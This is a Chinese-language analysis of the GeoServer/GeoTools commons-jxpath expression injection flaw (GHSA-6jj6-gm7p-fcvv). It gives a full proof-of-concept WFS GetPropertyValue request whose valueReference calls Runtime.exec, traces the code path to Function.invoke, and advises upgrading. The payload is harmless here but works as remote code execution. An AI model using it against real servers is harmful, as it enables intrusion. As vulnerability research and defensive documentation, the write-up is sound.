GeoServer Property Expression Injection 漏洞分析与利用
漏洞概述
GeoServer 2.23.6、2.24.4 和 2.25.2 之前版本存在远程代码执行漏洞,该漏洞源于 GeoServer 使用的第三方库 GeoTools 使用了不安全的 commons-jxpath 引擎处理 xpath 语句,导致攻击者能够通过发送各类 OGC 请求控制复杂的 xpath 表达式并注入恶意代码实现 RCE。
漏洞标识符:GHSA-6jj6-gm7p-fcvv
受影响的请求类型
可通过以下 OGC 请求利用此漏洞:
- WFS GetFeature
- WFS GetPropertyValue
- WMS GetMap
- WMS GetFeatureInfo
- WMS GetLegendGraphic
- WPS Execute
环境搭建
-
下载受影响版本的 GeoServer:
- https://sourceforge.net/projects/geoserver/files/GeoServer/2.25.1/geoserver-2.25.1-bin.zip/download
-
也可以使用 p 神的环境直接远程调试
漏洞复现
发送以下 POST 请求:
POST /geoserver/wfs HTTP/1.1
Host: 192.168.177.146:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 355
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(), 'touch /tmp/success')</wfs:valueReference>
</wfs:GetPropertyValue>
漏洞分析
漏洞根源
漏洞根源在于 commons-jxpath 库的不安全使用,该库用于处理 xpath 表达式。
请求处理流程
- 请求首先经过
handleRequestInternal:268, Dispatcher (org.geoserver.ows)方法 - 调用到
getPropertyValue方法 - 实例化
GetPropertyValue对象后调用run方法
run 方法关键逻辑
public ValueCollectionType getPropertyValue(GetPropertyValueType request) throws WFSException {
return new GetPropertyValue(getServiceInfo(), getCatalog(), filterFactory).run(request);
}
run 方法详细分析
-
首先检查
valueReference是否为空:if (request.getValueReference() == null) { throw new WFSException(request, "No valueReference specified", "MissingParameterValue") .locator("valueReference"); } else if ("".equals(request.getValueReference().trim())) { throw new WFSException( request, "ValueReference cannot be empty", ServiceException.INVALID_PARAMETER_VALUE) .locator("valueReference"); } -
构建 GetFeature 请求:
GetFeatureType getFeature = Wfs20Factory.eINSTANCE.createGetFeatureType(); getFeature.setBaseUrl(request.getBaseUrl()); getFeature.getAbstractQueryExpression().add(request.getAbstractQueryExpression()); getFeature.setResolve(request.getResolve()); getFeature.setResolveDepth(request.getResolveDepth()); getFeature.setResolveTimeout(request.getResolveTimeout()); getFeature.setCount(request.getCount()); -
执行 GetFeature 请求:
FeatureCollectionType fc = (FeatureCollectionType) delegate.run(GetFeatureRequest.adapt(getFeature)).getAdaptee(); -
获取查询信息:
QueryType query = (QueryType) request.getAbstractQueryExpression(); QName typeName = (QName) query.getTypeNames().iterator().next(); FeatureTypeInfo featureType = catalog.getFeatureTypeByName(typeName.getNamespaceURI(), typeName.getLocalPart()); -
关键处理部分:
PropertyName propertyName = filterFactory.property(request.getValueReference(), getNamespaceSupport()); PropertyName propertyNameNoIndexes = filterFactory.property(request.getValueReference().replaceAll("\
\[\\d+\ \]
", ""), getNamespaceSupport());
AttributeDescriptor descriptor = (AttributeDescriptor) propertyNameNoIndexes.evaluate(featureType.getFeatureType());
boolean featureIdRequest = FEATURE_ID_PATTERN.matcher(request.getValueReference()).matches();
if (descriptor == null && !featureIdRequest) {
throw new WFSException(request, "No such attribute: " + request.getValueReference());
}
### evaluate 方法分析
处理逻辑在 `evaluate` 方法中,最终会调用到 `AttributeExpressionImpl.java` 类的 `evaluate` 方法:
1. 首先尝试使用缓存的访问器:
```java
PropertyAccessor accessor = lastAccessor;
if (accessor != null && accessor.canHandle(obj, attPath, target)) {
try {
value = accessor.get(obj, attPath, target);
success = true;
} catch (Exception e) {
// fine, we'll try another accessor
}
}
- 如果缓存访问器失败,寻找其他合适的访问器:
if (!success) { if (namespaceSupport != null && hints == null) { hints = new Hints(PropertyAccessorFactory.NAMESPACE_CONTEXT, namespaceSupport); } List<PropertyAccessor> accessors = PropertyAccessors.findPropertyAccessors(obj, attPath, target, hints); List<Exception> exceptions = null; if (accessors != null) { for (PropertyAccessor propertyAccessor : accessors) { accessor = propertyAccessor; try { value = propertyAccessor.get(obj, attPath, target); success = true; break; } catch (Exception e) { if (exceptions == null) { exceptions = new ArrayList<>(); } exceptions.add(e); } } } }
最终执行点
找到的属性访问器是 FeaturePropertyAccessorFactory$FeaturePropertyAccessor,其 get 方法如下:
public <T> T get(Object object, String xpath, Class<T> target) throws IllegalArgumentException {
JXPathContext context = JXPathUtils.newSafeContext(object, false, this.namespaces, true);
Iterator it = context.iteratePointers(xpath);
List results = new ArrayList<>();
while (it.hasNext()) {
Pointer pointer = (Pointer) it.next();
if (pointer instanceof AttributeNodePointer) {
results.add(((AttributeNodePointer) pointer).getImmediateAttribute());
} else {
results.add(pointer.getValue());
}
}
if (results.isEmpty()) {
throw new IllegalArgumentException("x-path gives no results.");
} else if (results.size() == 1) {
return (T) results.get(0);
} else {
return (T) results;
}
}
关键点在于 iteratePointers 方法,最终会在 commons-jxpath 库中解析我们的输入。
命令执行流程
-
最终会调用到
Function.invoke方法:public Object invoke(ExpressionContext context, Object[] parameters) { try { Object target; Object[] args; if (Modifier.isStatic(method.getModifiers())) { target = null; if (parameters == null) { parameters = EMPTY_ARRAY; } int pi = 0; Class[] types = method.getParameterTypes(); if (types.length >= 1 && ExpressionContext.class.isAssignableFrom(types[0])) { pi = 1; } args = new Object[parameters.length + pi]; if (pi == 1) { args[0] = context; } for (int i = 0; i < parameters.length; i++) { args[i + pi] = TypeUtils.convert(parameters[i], types[i + pi]); } } else { int pi = 0; Class[] types = method.getParameterTypes(); if (types.length >= 1 && ExpressionContext.class.isAssignableFrom(types[0])) { pi = 1; } target = TypeUtils.convert(parameters[0], method.getDeclaringClass()); args = new Object[parameters.length - 1 + pi]; if (pi == 1) { args[0] = context; } for (int i = 1; i < parameters.length; i++) { args[pi + i - 1] = TypeUtils.convert(parameters[i], types[i + pi - 1]); } } return method.invoke(target, args); } catch (Throwable ex) { if (ex instanceof InvocationTargetException) { ex = ((InvocationTargetException) ex).getTargetException(); } throw new JXPathInvalidAccessException("Cannot invoke " + method, ex); } } -
判断方法类型后调用对应的
invoke方法执行命令
Payload 解析
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(), 'touch /tmp/success')</wfs:valueReference>
</wfs:GetPropertyValue>
typeNames属性指定了要查询的要素类型valueReference元素指定了需要提取的具体属性路径,这里注入的是恶意 xpath 表达式
修复建议
升级到以下或更高版本:
- GeoServer 2.23.6
- GeoServer 2.24.4
- GeoServer 2.25.2